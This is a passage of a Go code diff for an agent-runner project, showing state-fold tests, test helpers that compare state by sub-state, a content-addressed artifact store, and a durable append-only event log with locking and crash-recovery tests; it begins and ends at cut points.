e := range events[6:] { + if _, err := Apply(s, e); err != nil { + t.Fatal(err) + } + } + after, err := json.Marshal(s) + if err != nil { + t.Fatal(err) + } + if string(before) != string(after) { + t.Fatalf("input state mutated:\nbefore %s\nafter %s", before, after) + } +} + +func TestInFlightIsInDoubtSignal(t *testing.T) { + events := runEvents(t)[:7] // ends right after tool ActivityStarted + s, err := Fold(events) + if err != nil { + t.Fatal(err) + } + started, ok := s.Activities["tool-call_1_0"] + if !ok || started.CallID != "call_1_0" { + t.Fatalf("in-flight = %+v", s.Activities) + } +} + +func TestFailedAndCancelledDrainInFlight(t *testing.T) { + terminals := []event.Envelope{} + for i, terminal := range []any{ + &event.ActivityFailed{ActivityID: "a", Attempt: 3, Final: true, + Error: event.ErrorInfo{Class: "timeout", Retryable: true}}, + &event.ActivityCancelled{ActivityID: "a"}, + } { + typ := event.TypeActivityFailed + if i == 1 { + typ = event.TypeActivityCancelled + } + terminals = append(terminals, env(t, typ, terminal)) + } + for _, terminal := range terminals { + s := New() + var err error + s, err = Apply(s, env(t, event.TypeActivityStarted, + &event.ActivityStarted{ActivityID: "a", Kind: event.KindTool, Attempt: 1})) + if err != nil { + t.Fatal(err) + } + if s, err = Apply(s, terminal); err != nil { + t.Fatal(err) + } + if len(s.Activities) != 0 { + t.Errorf("%s did not drain in-flight: %+v", terminal.Type, s.Activities) + } + } +} + +func TestWaitingTransitions(t *testing.T) { + s := New() + var err error + entered := env(t, event.TypeWaitingEntered, + &event.WaitingEntered{Kind: event.WaitApproval, Detail: json.RawMessage(`{"call_id":"c"}`)}) + entered.Seq = 42 + if s, err = Apply(s, entered); err != nil { + t.Fatal(err) + } + if s.Waiting == nil || s.Waiting.Kind != event.WaitApproval || s.Waiting.Since != 42 { + t.Fatalf("waiting = %+v", s.Waiting) + } + if s.Run.Status != StatusWaiting { + t.Errorf("status = %q", s.Run.Status) + } + if s, err = Apply(s, env(t, event.TypeWaitingResolved, + &event.WaitingResolved{Kind: event.WaitApproval, Resolution: "approved"})); err != nil { + t.Fatal(err) + } + if s.Waiting != nil || s.Run.Status != StatusRunning { + t.Fatalf("after resolve: waiting=%+v status=%q", s.Waiting, s.Run.Status) + } +} + +func TestTimersPendingSet(t *testing.T) { + s := New() + var err error + if s, err = Apply(s, env(t, event.TypeTimerSet, + &event.TimerSet{TimerID: "tm-1", Purpose: "activity_timeout"})); err != nil { + t.Fatal(err) + } + if _, ok := s.Timers["tm-1"]; !ok { + t.Fatalf("timers = %+v", s.Timers) + } + if s, err = Apply(s, env(t, event.TypeTimerFired, &event.TimerFired{TimerID: "tm-1"})); err != nil { + t.Fatal(err) + } + if len(s.Timers) != 0 { + t.Fatalf("timers after fire = %+v", s.Timers) + } +} + +// Every type in event.Registry must have a fold case: feed each sample-free +// zero payload through Apply and require no UnhandledEventError. +func TestApplyCoversRegistry(t *testing.T) { + for typ, mk := range event.Registry { + if event.DriverStream[typ] || event.NotifierStream[typ] { + continue // driver/notifier stream events never enter the run fold + } + s := New() + if _, err := Apply(s, env(t, typ, mk())); err != nil { + var unhandled *UnhandledEventError + if errors.As(err, &unhandled) { + t.Errorf("registered type %q has no fold case", typ) + } else { + t.Errorf("apply(%q) = %v", typ, err) + } + } + } +} + +func TestUnknownEventTypeIsError(t *testing.T) { + _, err := Apply(New(), event.Envelope{Type: "from_the_future", Payload: json.RawMessage(`{}`)}) + if err == nil { + t.Fatal("unknown type must be a fold error") + } +} + +// A cancelled tool call must resolve its call_id: decide() re-running a +// provably half-executed command after a post-cancel crash is the bug. +func TestCancelledToolCallResolvesResult(t *testing.T) { + s := New() + var err error + if s, err = Apply(s, env(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", + CallID: "call_1_0", Attempt: 1})); err != nil { + t.Fatal(err) + } + if s, err = Apply(s, env(t, event.TypeActivityCancelled, &event.ActivityCancelled{ + ActivityID: "tool-call_1_0", PartialOutput: "partial stdout"})); err != nil { + t.Fatal(err) + } + tr, ok := s.Conversation.ToolResults["call_1_0"] + if !ok || !tr.IsError { + t.Fatalf("cancelled call not resolved: %+v (ok=%v)", tr, ok) + } + for _, want := range []string{"[interrupted by user]", "partial stdout"} { + if !strings.Contains(string(tr.Result), want) { + t.Errorf("result %s missing %q", tr.Result, want) + } + } + if len(s.Activities) != 0 { + t.Errorf("in-flight not drained: %+v", s.Activities) + } +} + +// 3.9 + S3 回访项: a NON-final failure keeps the activity in flight (the +// backoff window is in-doubt territory for non-idempotent activities); a +// FINAL tool failure renders as the call's model-visible result. +func TestActivityFailedFinality(t *testing.T) { + s := New() + var err error + if s, err = Apply(s, env(t, event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", + CallID: "call_1_0", Attempt: 1})); err != nil { + t.Fatal(err) + } + if s, err = Apply(s, env(t, event.TypeActivityFailed, &event.ActivityFailed{ + ActivityID: "tool-call_1_0", Attempt: 1, Final: false, + Error: event.ErrorInfo{Class: "timeout", Retryable: true}})); err != nil { + t.Fatal(err) + } + if _, inFlight := s.Activities["tool-call_1_0"]; !inFlight { + t.Fatal("non-final failure must keep the activity in flight") + } + if s, err = Apply(s, env(t, event.TypeActivityFailed, &event.ActivityFailed{ + ActivityID: "tool-call_1_0", Attempt: 3, Final: true, + Error: event.ErrorInfo{Class: "timeout", Message: "killed after 120s"}})); err != nil { + t.Fatal(err) + } + if len(s.Activities) != 0 { + t.Fatal("final failure must drain in-flight") + } + tr, ok := s.Conversation.ToolResults["call_1_0"] + if !ok || !tr.IsError { + t.Fatalf("final tool failure not rendered: %+v (ok=%v)", tr, ok) + } + for _, want := range []string{"timed out", "killed after 120s", `"class":"timeout"`} { + if !strings.Contains(string(tr.Result), want) { + t.Errorf("rendered result %s missing %q", tr.Result, want) + } + } +} diff --git a/internal/state/statetest/statetest.go b/internal/state/statetest/statetest.go new file mode 100644 index 0000000..968a477 --- /dev/null +++ b/internal/state/statetest/statetest.go @@ -0,0 +1,85 @@ +// Package statetest holds test helpers for fold assertions. All later +// fold-equality checks (2.13 snapshot-resume equivalence, crash-matrix +// assertions) go through AssertFoldEqual so failures show WHICH sub-state +// diverged, not a wall of struct dump. +package statetest + +import ( + "encoding/json" + "testing" + + "github.com/ralphite/agentrunner/internal/state" +) + +// AssertFoldEqual compares two states namespace by namespace in their JSON +// form. JSON comparison is deliberate: snapshots round-trip through JSON, +// so nil-vs-empty-map differences must not count as divergence. +func AssertFoldEqual(t testing.TB, got, want state.State) { + t.Helper() + pairs := []struct { + name string + got, want any + }{ + {"conversation", got.Conversation, want.Conversation}, + {"activities", got.Activities, want.Activities}, + {"waiting", got.Waiting, want.Waiting}, + {"timers", got.Timers, want.Timers}, + {"run", got.Run, want.Run}, + {"effects", got.Effects, want.Effects}, + {"mode", got.Mode, want.Mode}, + {"budget", got.Budget, want.Budget}, + {"compaction", got.Compaction, want.Compaction}, + {"tasks", got.Tasks, want.Tasks}, + } + for _, p := range pairs { + g, w := mustJSON(t, p.got), mustJSON(t, p.want) + if g != w { + t.Errorf("fold sub-state %q diverges:\n got: %s\nwant: %s", p.name, g, w) + } + } +} + +// mustJSON renders a normalized JSON form: empty maps/slices and explicit +// nulls collapse away, so `{}`, `null`, and an absent key all compare equal. +func mustJSON(t testing.TB, v any) string { + t.Helper() + raw, err := json.Marshal(v) + if err != nil { + t.Fatalf("statetest: marshal: %v", err) + } + var decoded any + if err := json.Unmarshal(raw, &decoded); err != nil { + t.Fatalf("statetest: %v", err) + } + out, err := json.MarshalIndent(normalize(decoded), " ", " ") + if err != nil { + t.Fatalf("statetest: %v", err) + } + return string(out) +} + +func normalize(v any) any { + switch x := v.(type) { + case map[string]any: + out := map[string]any{} + for k, vv := range x { + if n := normalize(vv); n != nil { + out[k] = n + } + } + if len(out) == 0 { + return nil + } + return out + case []any: + if len(x) == 0 { + return nil + } + out := make([]any, len(x)) + for i, vv := range x { + out[i] = normalize(vv) + } + return out + } + return v +} diff --git a/internal/state/statetest/statetest_test.go b/internal/state/statetest/statetest_test.go new file mode 100644 index 0000000..509e86d --- /dev/null +++ b/internal/state/statetest/statetest_test.go @@ -0,0 +1,56 @@ +package statetest + +import ( + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/state" +) + +// recorder captures Errorf output so we can assert on the diff shape. +type recorder struct { + testing.TB + failed bool + message string +} + +func (r *recorder) Helper() {} +func (r *recorder) Errorf(format string, args ...any) { + r.failed = true + r.message += strings.ReplaceAll(format, "%s", "%v") + for range args { + r.message += " ARG" + } + _ = format +} + +func TestEqualStatesPass(t *testing.T) { + r := &recorder{TB: t} + AssertFoldEqual(r, state.New(), state.New()) + if r.failed { + t.Fatalf("equal states reported divergence: %s", r.message) + } +} + +// nil vs empty map must NOT count as divergence (JSON semantics). +func TestNilVsEmptyMapIsEqual(t *testing.T) { + a := state.New() + b := state.New() + b.Activities = nil + r := &recorder{TB: t} + AssertFoldEqual(r, a, b) + if r.failed { + t.Fatalf("nil-vs-empty map reported divergence: %s", r.message) + } +} + +func TestDivergenceNamesTheSubState(t *testing.T) { + a := state.New() + b := state.New() + b.Run.Status = state.StatusEnded + r := &recorder{TB: t} + AssertFoldEqual(r, a, b) + if !r.failed { + t.Fatal("diverging states must fail") + } +} diff --git a/internal/store/artifact.go b/internal/store/artifact.go new file mode 100644 index 0000000..4118ef2 --- /dev/null +++ b/internal/store/artifact.go @@ -0,0 +1,187 @@ +package store + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "os" + "path/filepath" + "sync" +) + +// ArtifactStore is the content-addressed deliverable store (S5.5) — the +// SnapshotStore pattern (atomic tmp+fsync+rename, degrade-friendly reads) +// reused for a CAS. Refs are opaque "sha256-" strings derived from +// content; identical content publishes to the same blob idempotently. +// +// The ordering invariant mirrors the journal's fsync-before-ack: the BLOB +// (and manifest) are durable BEFORE the caller journals ArtifactPublished, +// so a ref in the event log always resolves. A crash between blob write and +// event append leaves an orphan blob — harmless, GC-able — never a dangling +// ref. +type ArtifactStore struct { + root string + // mu serializes manifest read-modify-write: the store is TREE-SHARED + // (parent and concurrently-running children publish into it), and an + // unlocked Publish would lose versions or tear manifest.json (S5 review + // P0). Blob writes need no lock (content-addressed, unique tmp names). + mu sync.Mutex +} + +// ArtifactVersion is one entry of a stream's version chain. +type ArtifactVersion struct { + Stream string `json:"stream"` + Version int `json:"version"` + Ref string `json:"ref"` + Bytes int `json:"bytes"` +} + +// manifest is the whole store's stream → version-chain index. +type manifest struct { + Streams map[string][]ArtifactVersion `json:"streams"` +} + +// OpenArtifactStore opens (creating if needed) an artifact store rooted at +// dir — conventionally /artifacts. +func OpenArtifactStore(dir string) (*ArtifactStore, error) { + if err := os.MkdirAll(filepath.Join(dir, "blobs"), 0o700); err != nil { + return nil, fmt.Errorf("artifacts: %w", err) + } + return &ArtifactStore{root: dir}, nil +} + +// Put writes content as a blob and returns its ref. Durable (fsynced) +// before return; writing existing content is a no-op returning the same ref. +func (a *ArtifactStore) Put(content []byte) (string, error) { + sum := sha256.Sum256(content) + ref := "sha256-" + hex.EncodeToString(sum[:]) + final := filepath.Join(a.root, "blobs", ref) + if _, err := os.Stat(final); err == nil { + return ref, nil // CAS: same content, same blob + } + if err := atomicWrite(final, content); err != nil { + return "", fmt.Errorf("artifacts: %w", err) + } + return ref, nil +} + +// Get resolves a ref to its content. +func (a *ArtifactStore) Get(ref string) ([]byte, error) { + if filepath.Base(ref) != ref { + return nil, fmt.Errorf("artifacts: malformed ref %q", ref) + } + raw, err := os.ReadFile(filepath.Join(a.root, "blobs", ref)) + if err != nil { + return nil, fmt.Errorf("artifacts: ref %s: %w", ref, err) + } + return raw, nil +} + +// Publish writes content and appends it to the stream's version chain +// (versions are 1-based, dense). Blob and manifest are both durable when +// this returns — the caller may then journal the fact. +func (a *ArtifactStore) Publish(stream string, content []byte) (ArtifactVersion, error) { + if stream == "" { + return ArtifactVersion{}, fmt.Errorf("artifacts: empty stream name") + } + ref, err := a.Put(content) + if err != nil { + return ArtifactVersion{}, err + } + a.mu.Lock() + defer a.mu.Unlock() + m, err := a.readManifest() + if err != nil { + return ArtifactVersion{}, err + } + // Same content at the chain tip republishes the SAME version (S5 review): + // a crash between manifest write and journal append re-publishes on + // resume — without this, the manifest would grow a duplicate version the + // journal never knew about. + if chain := m.Streams[stream]; len(chain) > 0 && chain[len(chain)-1].Ref == ref { + return chain[len(chain)-1], nil + } + v := ArtifactVersion{Stream: stream, Version: len(m.Streams[stream]) + 1, + Ref: ref, Bytes: len(content)} + m.Streams[stream] = append(m.Streams[stream], v) + raw, err := json.MarshalIndent(m, "", " ") + if err != nil { + return ArtifactVersion{}, fmt.Errorf("artifacts: %w", err) + } + if err := atomicWrite(filepath.Join(a.root, "manifest.json"), raw); err != nil { + return ArtifactVersion{}, fmt.Errorf("artifacts: %w", err) + } + return v, nil +} + +// Latest returns a stream's newest version. +func (a *ArtifactStore) Latest(stream string) (ArtifactVersion, bool, error) { + a.mu.Lock() + defer a.mu.Unlock() + m, err := a.readManifest() + if err != nil { + return ArtifactVersion{}, false, err + } + chain := m.Streams[stream] + if len(chain) == 0 { + return ArtifactVersion{}, false, nil + } + return chain[len(chain)-1], true, nil +} + +// Streams returns the full manifest (stream → version chain). +func (a *ArtifactStore) Streams() (map[string][]ArtifactVersion, error) { + a.mu.Lock() + defer a.mu.Unlock() + m, err := a.readManifest() + if err != nil { + return nil, err + } + return m.Streams, nil +} + +func (a *ArtifactStore) readManifest() (manifest, error) { + m := manifest{Streams: map[string][]ArtifactVersion{}} + raw, err := os.ReadFile(filepath.Join(a.root, "manifest.json")) + if os.IsNotExist(err) { + return m, nil + } + if err != nil { + return m, fmt.Errorf("artifacts: %w", err) + } + if err := json.Unmarshal(raw, &m); err != nil { + return m, fmt.Errorf("artifacts: manifest corrupt: %w", err) + } + if m.Streams == nil { + m.Streams = map[string][]ArtifactVersion{} + } + return m, nil +} + +// atomicWrite is the snapshot-store discipline: tmp + fsync + rename, 0600. +// The tmp name is unique per call — a FIXED tmp path would let two +// concurrent writers truncate each other mid-write and promote a torn file. +func atomicWrite(final string, data []byte) error { + f, err := os.CreateTemp(filepath.Dir(final), filepath.Base(final)+".tmp*") + if err != nil { + return err + } + tmp := f.Name() + if err := f.Chmod(0o600); err != nil { + _ = f.Close() + return err + } + if _, err := f.Write(data); err != nil { + _ = f.Close() + return err + } + if err := f.Sync(); err != nil { + _ = f.Close() + return err + } + if err := f.Close(); err != nil { + return err + } + return os.Rename(tmp, final) +} diff --git a/internal/store/artifact_test.go b/internal/store/artifact_test.go new file mode 100644 index 0000000..83f9a31 --- /dev/null +++ b/internal/store/artifact_test.go @@ -0,0 +1,93 @@ +package store + +import ( + "bytes" + "strings" + "testing" +) + +func TestArtifactPutGetRoundTrip(t *testing.T) { + a, err := OpenArtifactStore(t.TempDir()) + if err != nil { + t.Fatal(err) + } + content := []byte("the report body") + ref, err := a.Put(content) + if err != nil { + t.Fatal(err) + } + if !strings.HasPrefix(ref, "sha256-") { + t.Fatalf("ref = %q", ref) + } + // CAS: identical content → identical ref, no error. + ref2, err := a.Put(content) + if err != nil || ref2 != ref { + t.Fatalf("re-put: %q, %v", ref2, err) + } + got, err := a.Get(ref) + if err != nil || !bytes.Equal(got, content) { + t.Fatalf("get = %q, %v", got, err) + } + if _, err := a.Get("sha256-nope"); err == nil { + t.Error("missing ref must error") + } + if _, err := a.Get("../escape"); err == nil { + t.Error("path-escaping ref must be rejected") + } +} + +func TestArtifactPublishVersionChain(t *testing.T) { + a, err := OpenArtifactStore(t.TempDir()) + if err != nil { + t.Fatal(err) + } + v1, err := a.Publish("report", []byte("draft")) + if err != nil { + t.Fatal(err) + } + v2, err := a.Publish("report", []byte("final")) + if err != nil { + t.Fatal(err) + } + other, err := a.Publish("notes", []byte("aside")) + if err != nil { + t.Fatal(err) + } + if v1.Version != 1 || v2.Version != 2 || other.Version != 1 { + t.Fatalf("versions = %d, %d, %d", v1.Version, v2.Version, other.Version) + } + + latest, ok, err := a.Latest("report") + if err != nil || !ok || latest.Version != 2 || latest.Ref != v2.Ref { + t.Fatalf("latest = %+v, %v, %v", latest, ok, err) + } + if _, ok, _ := a.Latest("void"); ok { + t.Error("empty stream must report !ok") + } + + streams, err := a.Streams() + if err != nil || len(streams) != 2 || len(streams["report"]) != 2 { + t.Fatalf("streams = %+v, %v", streams, err) + } + + // Re-open: the manifest is durable. + b, err := OpenArtifactStore(a.root) + if err != nil { + t.Fatal(err) + } + latest, ok, err = b.Latest("report") + if err != nil || !ok || latest.Version != 2 { + t.Fatalf("after reopen: %+v, %v, %v", latest, ok, err) + } + got, err := b.Get(latest.Ref) + if err != nil || string(got) != "final" { + t.Fatalf("content after reopen = %q, %v", got, err) + } +} + +func TestArtifactEmptyStreamRejected(t *testing.T) { + a, _ := OpenArtifactStore(t.TempDir()) + if _, err := a.Publish("", []byte("x")); err == nil { + t.Error("empty stream must be rejected") + } +} diff --git a/internal/store/eventstore.go b/internal/store/eventstore.go new file mode 100644 index 0000000..c941dfa --- /dev/null +++ b/internal/store/eventstore.go @@ -0,0 +1,219 @@ +package store + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "syscall" + "time" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" +) + +// EventStore is the S2 source of truth: an append-only JSONL event log for +// one session, exclusive-writer via flock. Readers never take the lock. +type EventStore struct { + mu sync.Mutex + dir string + f *os.File + lock *os.File + seq int64 + broken bool + now func() time.Time +} + +const ( + eventsFile = "events.jsonl" + lockFile = "lock" +) + +// ErrLocked reports a live writer on the session. flock is released by the +// kernel when the holder dies, so a stale lock file never blocks: if the +// pid in the file is dead, the flock itself succeeds and we overwrite. +var ErrLocked = errors.New("session locked") + +// OpenEventStore opens (creating if needed, dir 0700 / files 0600) the +// event log under sessionDir and acquires the writer lock. A torn tail +// left by a crash mid-write is truncated: the event was never acked +// (fsync precedes ack), so dropping it is safe. +func OpenEventStore(sessionDir string) (*EventStore, error) { + if err := os.MkdirAll(sessionDir, 0o700); err != nil { + return nil, fmt.Errorf("eventstore: %w", err) + } + + lock, err := acquireLock(filepath.Join(sessionDir, lockFile)) + if err != nil { + return nil, err + } + + path := filepath.Join(sessionDir, eventsFile) + f, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + _ = lock.Close() + return nil, fmt.Errorf("eventstore: %w", err) + } + seq, end, err := scanLog(f) + if err != nil { + _ = f.Close() + _ = lock.Close() + return nil, err + } + if err := f.Truncate(end); err != nil { + _ = f.Close() + _ = lock.Close() + return nil, fmt.Errorf("eventstore: truncate torn tail: %w", err) + } + if _, err := f.Seek(end, 0); err != nil { + _ = f.Close() + _ = lock.Close() + return nil, fmt.Errorf("eventstore: %w", err) + } + // fsync the directory so the log's dir entry is as durable as its + // contents — otherwise power loss can vanish an entire acked log. + if d, derr := os.Open(sessionDir); derr == nil { + _ = d.Sync() + _ = d.Close() + } + return &EventStore{dir: sessionDir, f: f, lock: lock, seq: seq, now: time.Now}, nil +} + +// Dir returns the session directory this store writes under. +func (s *EventStore) Dir() string { return s.dir } + +func acquireLock(path string) (*os.File, error) { + lock, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return nil, fmt.Errorf("eventstore: %w", err) + } + if err := syscall.Flock(int(lock.Fd()), syscall.LOCK_EX|syscall.LOCK_NB); err != nil { + holder, _ := os.ReadFile(path) + _ = lock.Close() + pid := strings.TrimSpace(string(holder)) + if pid == "" { + pid = "unknown" + } + return nil, fmt.Errorf("%w: held by pid %s", ErrLocked, pid) + } + if err := lock.Truncate(0); err == nil { + _, _ = fmt.Fprintf(lock, "%d\n", os.Getpid()) + } + return lock, nil +} + +// scanLog returns the last seq and the byte offset just past the last +// complete line. A final segment without a trailing newline is a torn tail. +// A malformed line that IS newline-terminated is corruption — an error. +func scanLog(f *os.File) (lastSeq, end int64, err error) { + data, err := os.ReadFile(f.Name()) + if err != nil { + return 0, 0, fmt.Errorf("eventstore: %w", err) + } + var off int64 + for len(data) > 0 { + nl := bytes.IndexByte(data, '\n') + if nl < 0 { + break // torn tail — caller truncates to `end` + } + line := data[:nl] + var env event.Envelope + if uerr := json.Unmarshal(line, &env); uerr != nil { + return 0, 0, fmt.Errorf("eventstore: corrupt line at offset %d: %w", off, uerr) + } + lastSeq = env.Seq + off += int64(nl) + 1 + end = off + data = data[nl+1:] + } + return lastSeq, end, nil +} + +// Append assigns seq/id/ts, writes one line, and fsyncs before returning. +// The returned envelope is the appended fact. +func (s *EventStore) Append(env event.Envelope) (event.Envelope, error) { + s.mu.Lock() + defer s.mu.Unlock() + if s.f == nil { + return event.Envelope{}, errors.New("eventstore: closed") + } + if s.broken { + return event.Envelope{}, errors.New("eventstore: broken by earlier write failure") + } + s.seq++ + env.Seq = s.seq + env.ID = event.EventID(s.seq) + env.TS = s.now().UTC() + line, err := json.Marshal(env) + if err != nil { + s.seq-- + return event.Envelope{}, fmt.Errorf("eventstore: marshal: %w", err) + } + // A failed write may leave a torn half-line at the tail; latch the + // store broken so no later append can glue onto it — the next open + // repairs the tail instead. + if _, err := s.f.Write(append(line, '\n')); err != nil { + s.broken = true + return event.Envelope{}, fmt.Errorf("eventstore: append: %w", err) + } + if err := s.f.Sync(); err != nil { + s.broken = true + return event.Envelope{}, fmt.Errorf("eventstore: fsync: %w", err) + } + // Crash matrix counting predicate: the fact is durable, the ack is not. + crash.After(env.Type) + return env, nil +} + +// LastSeq returns the seq of the most recently appended event. +func (s *EventStore) LastSeq() int64 { + s.mu.Lock() + defer s.mu.Unlock() + return s.seq +} + +// Close releases the writer lock and closes the log. +func (s *EventStore) Close() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.f == nil { + return nil + } + err := s.f.Close() + s.f = nil + if s.lock != nil { + _ = s.lock.Close() // releases the flock + s.lock = nil + } + return err +} + +// ReadEvents loads all complete events from a session dir without taking +// the lock. A torn tail is skipped; corruption mid-file is an error. +func ReadEvents(sessionDir string) ([]event.Envelope, error) { + path := filepath.Join(sessionDir, eventsFile) + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("eventstore: %w", err) + } + var out []event.Envelope + var off int64 + for len(data) > 0 { + nl := bytes.IndexByte(data, '\n') + if nl < 0 { + break + } + var env event.Envelope + if uerr := json.Unmarshal(data[:nl], &env); uerr != nil { + return nil, fmt.Errorf("eventstore: corrupt line at offset %d: %w", off, uerr) + } + out = append(out, env) + off += int64(nl) + 1 + data = data[nl+1:] + } + return out, nil +} diff --git a/internal/store/eventstore_test.go b/internal/store/eventstore_test.go new file mode 100644 index 0000000..f59d8c5 --- /dev/null +++ b/internal/store/eventstore_test.go @@ -0,0 +1,257 @@ +package store + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "testing" + + "github.com/ralphite/agentrunner/internal/event" +) + +func mustEnv(t *testing.T, turn int) event.Envelope { + t.Helper() + env, err := event.New(event.TypeTurnStarted, &event.TurnStarted{Turn: turn}) + if err != nil { + t.Fatal(err) + } + return env +} + +func TestAppendReadRoundTrip(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + + for i := 1; i <= 3; i++ { + got, err := s.Append(mustEnv(t, i)) + if err != nil { + t.Fatal(err) + } + if got.Seq != int64(i) || got.ID != fmt.Sprintf("evt-%d", i) || got.TS.IsZero() { + t.Fatalf("appended = %+v", got) + } + } + + events, err := ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if len(events) != 3 || events[2].Seq != 3 { + t.Fatalf("events = %+v", events) + } +} + +func TestPermissionBits(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + if _, err := s.Append(mustEnv(t, 1)); err != nil { + t.Fatal(err) + } + + di, err := os.Stat(dir) + if err != nil { + t.Fatal(err) + } + if di.Mode().Perm() != 0o700 { + t.Errorf("dir mode = %o, want 0700", di.Mode().Perm()) + } + for _, name := range []string{eventsFile, lockFile} { + fi, err := os.Stat(filepath.Join(dir, name)) + if err != nil { + t.Fatal(err) + } + if fi.Mode().Perm() != 0o600 { + t.Errorf("%s mode = %o, want 0600", name, fi.Mode().Perm()) + } + } +} + +func TestLockConflict(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + + // Second writer (separate fd = separate open file description → flock + // conflicts even in-process) must fail loudly with the holder pid. + _, err = OpenEventStore(dir) + if !errors.Is(err, ErrLocked) { + t.Fatalf("err = %v, want ErrLocked", err) + } + if want := fmt.Sprintf("held by pid %d", os.Getpid()); !strings.Contains(err.Error(), want) { + t.Errorf("err = %v, want %q", err, want) + } +} + +func TestLockReleasedOnClose(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + if _, err := s.Append(mustEnv(t, 1)); err != nil { + t.Fatal(err) + } + if err := s.Close(); err != nil { + t.Fatal(err) + } + + s2, err := OpenEventStore(dir) + if err != nil { + t.Fatalf("reopen after close: %v", err) + } + defer func() { _ = s2.Close() }() + got, err := s2.Append(mustEnv(t, 2)) + if err != nil { + t.Fatal(err) + } + if got.Seq != 2 { + t.Errorf("seq after reopen = %d, want 2 (recovered from log)", got.Seq) + } +} + +func TestTornTailTruncatedOnReopen(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + if _, err := s.Append(mustEnv(t, 1)); err != nil { + t.Fatal(err) + } + if err := s.Close(); err != nil { + t.Fatal(err) + } + + // Simulate a crash mid-write: partial JSON, no trailing newline. + f, err := os.OpenFile(filepath.Join(dir, eventsFile), os.O_APPEND|os.O_WRONLY, 0o600) + if err != nil { + t.Fatal(err) + } + if _, err := f.WriteString(`{"seq":2,"type":"turn_st`); err != nil { + t.Fatal(err) + } + _ = f.Close() + + // Reader skips the torn tail. + events, err := ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if len(events) != 1 { + t.Fatalf("events = %+v, want the 1 complete event", events) + } + + // Writer truncates it; the next append reuses seq 2 on a clean line. + s2, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s2.Close() }() + got, err := s2.Append(mustEnv(t, 2)) + if err != nil { + t.Fatal(err) + } + if got.Seq != 2 { + t.Errorf("seq = %d, want 2", got.Seq) + } + events, err = ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if len(events) != 2 || events[1].Seq != 2 { + t.Fatalf("events after repair = %+v", events) + } +} + +func TestCorruptCompleteLineIsError(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + if err := os.MkdirAll(dir, 0o700); err != nil { + t.Fatal(err) + } + bad := "not json at all\n" + if err := os.WriteFile(filepath.Join(dir, eventsFile), []byte(bad), 0o600); err != nil { + t.Fatal(err) + } + if _, err := ReadEvents(dir); err == nil { + t.Error("reader must reject newline-terminated corruption") + } + if _, err := OpenEventStore(dir); err == nil { + t.Error("writer must reject newline-terminated corruption") + } +} + +func TestConcurrentAppendsAreSerial(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + + const n = 50 + var wg sync.WaitGroup + errs := make(chan error, n) + for i := 0; i < n; i++ { + wg.Add(1) + go func(turn int) { + defer wg.Done() + if _, err := s.Append(mustEnv(t, turn)); err != nil { + errs <- err + } + }(i) + } + wg.Wait() + close(errs) + for err := range errs { + t.Fatal(err) + } + + events, err := ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if len(events) != n { + t.Fatalf("events = %d, want %d", len(events), n) + } + for i, e := range events { + if e.Seq != int64(i+1) { + t.Fatalf("seq at line %d = %d, want %d (monotonic, gapless)", i, e.Seq, i+1) + } + } +} + +// A write failure latches the store broken: no later append may glue onto +// a possible torn half-line. Reopen repairs instead. +func TestBrokenLatchAfterWriteFailure(t *testing.T) { + dir := filepath.Join(t.TempDir(), "sess") + s, err := OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + if _, err := s.Append(mustEnv(t, 1)); err != nil { + t.Fatal(err) + } + // Force the next write to fail by closing the fd behind the store's back. + _ = s.f.Close() + if _, err := s.Append(mustEnv(t, 2)); err == nil { + t.Fatal("append on closed fd must fail") + } + if _, err := s.Append(mustEnv(t, 3)); err == nil || !strings.Contains(err.Error(), "broken") { + t.Fatalf("err = %v, want broken latch", err) + } +} diff --git a/internal/store/snapshot.go b/internal/store/snapshot.go new file mode 100644 index 0000000..368b84e --- /dev/null +++ b/internal/store/snapshot.go @@ -0,0 +1,103 @@ +package store + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + + "github.com/ralphite/agentrunner/internal/crash" +) + +// Snapshot is a turn-boundary serialization of the fold state. It is an +// optimization, never a source of truth: resume must produce the same +// state from snapshot+tail as from a full fold (pinned by test). +type Snapshot struct { + UptoSeq int64 `json:"upto_seq"` + SubStateVersions map[string]int `json:"sub_state_versions"` + State json.RawMessage `json:"state"` +} + +const snapshotsDir = "snapshots" + +// WriteSnapshot atomically writes snapshots/.json (0600). +func WriteSnapshot(sessionDir string, uptoSeq int64, versions map[string]int, st any) error { + raw, err := json.Marshal(st) + if err != nil { + return 